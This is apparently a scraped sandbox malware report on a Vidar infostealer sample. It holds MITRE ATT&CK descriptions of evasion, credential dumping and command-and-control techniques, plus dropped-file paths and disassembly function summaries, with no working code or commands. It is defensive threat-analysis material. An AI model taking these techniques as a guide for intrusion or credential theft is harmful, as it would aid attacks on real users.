Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report FFAk2gixx5.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CGDGHCBGDHJJKECAECBA

C:\ProgramData\DBFIDGII

C:\ProgramData\FCGIJKJJKEBGHJKFIDGCAAFCAF

C:\ProgramData\GHJJDGHCBGDHIECBGIDAEHCGDG

C:\ProgramData\JECBGCFHCFIDHIDHDGDG

C:\ProgramData\JEHIJDGI

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

C:\ProgramData\softokn3.dll

C:\ProgramData\vcruntime140.dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\freebl3[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\mozglue[1].dll

Windows Analysis Report
FFAk2gixx5.exe

Function 00416230 Relevance: 196.7, APIs: 110, Strings: 2, Instructions: 674
libraryloaderCOMMON

Function 0040B610 Relevance: 40.9, APIs: 17, Strings: 6, Instructions: 675
fileCOMMON

Function 00404C70 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81
networkmemoryfileCOMMON

Function 0040DB60 Relevance: 12.8, APIs: 4, Strings: 3, Instructions: 514
fileCOMMON

Function 00415EC0 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 212
libraryloaderCOMMON

Function 00404DC0 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Function 00405610 Relevance: 46.0, APIs: 19, Strings: 7, Instructions: 493
networkstringmemoryCOMMON

Function 0040A030 Relevance: 32.0, APIs: 21, Instructions: 494
stringmemoryfileCOMMON

Function 00404540 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00414AD0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 179
registryCOMMON

Function 004141B0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 89
memoryCOMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre